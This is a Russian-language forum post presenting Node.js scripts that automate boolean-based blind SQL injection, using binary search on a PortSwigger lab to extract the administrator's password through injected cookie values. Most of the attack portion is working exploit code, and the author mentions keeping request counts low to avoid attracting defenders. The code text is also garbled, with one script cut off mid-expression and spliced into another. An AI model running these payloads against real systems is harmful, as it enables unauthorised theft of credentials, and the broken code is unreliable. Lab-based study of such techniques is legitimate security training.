Показать сообщение отдельно

  #1  
Старый 07.10.2022, 23:23
C0de4you
Новичок
Регистрация: 06.10.2022
Сообщений: 1
С нами: 1897623

Репутация: 0
По умолчанию

Введение

Boolean based Blind SQL Injection - это техника инъекции, которая заставляет приложение возвращать различное содержимое в зависимости от логического результата (TRUE или FALSE) при запросе к реляционной базе данных. Результат позволяет судить о том, истинна или ложна используемая полезная нагрузка, даже если никакие данные из базы не раскрываются в явном виде. Таким образом, становится возможно раскрытие данных, например, посимвольным подбором искомого значения.

Естественно, что ручной дамп базы данных при такой инъекции крайне неэффективен. Существуют мощные инструменты, позволяющие доставать данные при слепых инъекциях в автоматическом режиме, например, широко известный sqlmap. Но ввиду того, что SQL инъекции могут возникать в различных местах приложения (GET параметры, POST body, Headers и т.д.), запросы к базам данных требуют специального синтаксиса в зависимости от типа этих баз данных (MYSQL, PostgeSQL, Oracle и т.д.), а ответ приложения, позволяющий идентифицировать истинность/ложность запроса, вообще является уникальным в каждом отдельном случае, существование полностью автоматического инструмента, гарантирующего 100% вероятность эксплуатации, является утопией.

Неоднократно, столкнувшись с отказом со стороны sqlmap (при всем уважении к нему и его создателям, зачастую его вполне достаточно), появилась необходимость создания полуавтоматических скриптов, которые позволяют максимально гибко настроить SQL инъекцию в ручном режиме, при этом делая всю монотонную работу автоматически.

Так как у меня бэкграунд фронтенд разработчика, то для реализации задачи я выбрал JavaScript и его серверную среду выполнения - Node.js. Никаких претензий к явно более популярному для подобных задач Python не имею, просто выбрал то, что ближе. Да и вообще алгоритм гораздо важнее, чем язык на котором написана программа.

Далее я опишу процесс разработки, не просто вывалив на читателя гору кода, применимого в частном случае, а показав посредством каких рассуждений были созданы эти скрипты. Надеюсь, это поможет кому-то создать свои инструменты для любых других задач.

Разработка

Лучше всего двигаться небольшими итерациями и сразу на примере проверять то, что получается. В качестве цели для тестирования скриптов была выбрана лабораторная работа с PortSwigger (Lab: Blind SQL injection with conditional responses | Web Security Academy). Далее будет спойлер, поэтому, если вы еще не проходили данную лабораторную работу, то советую сделать это до прочтения статьи, это поможет прочувствовать необходимость оптимизации. Почему составлен тот или иной SQL запрос, описано в лабораторной, не будем на этом акцентировать внимание.

Итак, мы нашли SQL инъекцию, определили тип БД, поняли, что она boolean based, различаем true и false ответы по появлению определенного контента на странице приложения.
Теперь можно определить длину искомого значения будь то имя базы, таблицы, колонки или значения. Напишем для этого отдельный скрипт.

1) Устанавливаем node.js и пакетный менеджер npm (если они отсутствуют):

Bash:


Код:
apt
install
nodejs
npm
2) Создаем папку проекта и инициализируем ее как Node.js проект:

Bash:


Код:
mkdir
sql
&&
cd
sql
&&
npm
init
Появятся два файла: package.json и package-lock.json. Они необходимы для установления зависимостей кода и библиотек.

3) Установим библиотеку node-fetch, позволяющую использовать браузерный Fetch API для http запросов на Node.js. Можно использовать другие библиотеки и модули. Для меня fetch знаком из браузера, поэтому роднее.

Bash:


Код:
npm
install
node-fetch
4) Пишем асинхронную функцию, которая принимает предполагаемую длину в качестве аргумента и возвращает логическое значение в зависимости от результата сравнения в SQL запросе (не итоговый код!)

JavaScript:


Код:
import
fetch
from
"node-fetch"
;
async
function
findLength
(
length
)
{
//  Значение, которое появляется на странице в случае истинного SQL запроса
const
flag
=
"Welcome"
;
// URL уязвимого приложения
const
url
=
new
URL
(
"https://0ab400e503b6e9b4c0d045ab00f80025.web-security-academy.net/login"
)
;
// В этом объекте помещаем все, что касается http запроса
const
options
=
{
method
:
"GET"
,
headers
:
{
Cookie
:
`TrackingId=BlzXFEUoJcpSPeyv'+and+(select+'a'+from+users+where+username='administrator'+and+length(password)=${length})='a`
,
"User-Agent"
:
"Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
,
}
,
// body: '', Если бы был POST
}
;
const
response
=
await
fetch
(
url
,
options
)
;
const
responseText
=
await
response
.
text
(
)
;
return
(
responseText
.
includes
(
flag
)
)
;
}
;
Далее можно было бы, используя цикл for, последовательно вызывать функцию с аргументами от 1 до n, где n длина искомого значения. Рано или поздно, в случае правильного составленного запроса, скрипт бы вернул true.
Но это неэффективное решение. Во первых, значение может быть длинным, например, хэш пароля в 64 символа потребовал бы 64 http запроса. Во вторых, большое количество запросов вызовет подозрение у систем защиты приложения.

Так как мы двигаемся по отсортированному массиву значений (от 1 до n), для оптимизации поиска можно применить алгоритм бинарного поиска. (Двоичный поиск — Википедия)

5) Дорабатываем скрипт с учетом алгоритма бинарного поиска и получаем итоговый вариант.

JavaScript:


Код:
import
fetch
from
"node-fetch"
;
async
function
findLength
(
)
{
//  Значение, которое появляется на странице в случае истинного SQL запроса
const
flag
=
"Welcome"
;
// Минимальная и максимальная предполагаемая длина искомого значения
// Если скрипт вернул end, но это не верный ответ, увеличиваем значение end (Костыль, а куда без них?)
let
start
=
1
;
let
end
=
128
;
// Обязательно проводим сравнение в SQL запросе только с помощью оператора >.
// Также не забываем включить в запрос итерируемое значение middle.
while
(
true
)
{
let
middle
=
Math
.
floor
(
(
start
+
end
)
/
2
)
;
// URL уязвимого приложения
const
url
=
new
URL
(
"https://0ab400e503b6e9b4c0d045ab00f80025.web-security-academy.net/login"
)
;
// В этом объекте помещаем все, что касается http запроса (Метод, заголовки, тело и т.д.)
const
options
=
{
method
:
"GET"
,
headers
:
{
Cookie
:
`TrackingId=BlzXFEUoJcpSPeyv'+and+(select+'a'+from+users+where+username='administrator'+and+length(password)>${middle})='a`
,
"User-Agent"
:
"Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
,
}
,
// body: '', Если бы был POST
}
;
const
response
=
await
fetch
(
url
,
options
)
;
const
responseText
=
await
response
.
text
(
)
;
const
greaterThanMiddle
=
responseText
.
includes
(
flag
)
;
const
twoValues
=
end
-
start
.
// Также не забываем включить в запрос итерируемые значения middle и i.
while
(
true
)
{
let
middle
=
Math
.
floor
(
(
start
+
end
)
/
2
)
;
// URL уязвимого приложения
const
url
=
new
URL
(
"https://0ab400e503b6e9b4c0d045ab00f80025.web-security-academy.net/login"
)
;
// В этом объекте помещаем все, что касается http запроса (Метод, заголовки, тело и т.д.)
const
options
=
{
method
:
"GET"
,
headers
:
{
Cookie
:
`TrackingId=BlzXFEUoJcpSPeyv' and (select ascii(substring(password,${i},1)) from users where username='administrator')>${middle}--`
,
"User-Agent"
:
"Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
,
}
,
// body: '', Если бы был POST
}
;
const
response
=
await
fetch
(
url
,
options
)
;
const
responseText
=
await
response
.
text
(
)
;
const
greaterThanMiddle
=
responseText
.
includes
(
flag
)
;
const
twoValues
=
end
-
start

previous
+
String
.
fromCharCode
(
current
)
,
""
)
;
return
value
;
}
// Вызываем функцию и замеряем время подбора значения
console
.
log
(
"Please wait..."
)
;
const
timeBefore
=
new
Date
(
)
;
const
answ
=
await
findValue
(
)
;
const
timeAfter
=
new
Date
(
)
;
const
seconds
=
Math
.
round
(
(
timeAfter
-
timeBefore
)
/
1000
)
;
console
.
log
(
"Value:"
,
answ
,
"Spend time:"
,
seconds
,
"seconds"
)
;
Решение обозначенной выше лабораторной с PortSwigger с использованием скриптов заняло 5 секунд.



Заключение

Таким образом, написано два полуавтоматических скрипта, подходящих под решение широкого круга задач. Часть переменных при решении новых задач нужно изменять вручную. Но цели изобретать колесо (sqlmap) и не стояло. Ручная настройка в данном случае является достоинством, так как в руках понимающего специалиста позволит решить то, что sqlmap бы не смог. Код крайне прост. Конечно, можно было бы запускать два скрипта одной командой или настроить автоматический подбор полезной нагрузки, но, на мой взгляд, это не соответсвует принципу Паррето (20% труда = 80% результата). Код значительно усложнится, при этом возрастет количество отказов и время эксплуатации.

При желании, немного изменив код, можно подстроить скрипты под решение time based SQLi. Оставляю ссылку на свой github c исходниками кода. (GitHub - C0de4you/sql). После скачивания необходимо установить зависимости:

Bash:


Код:
npm
install
Всем успехов!
 
Ответить с цитированием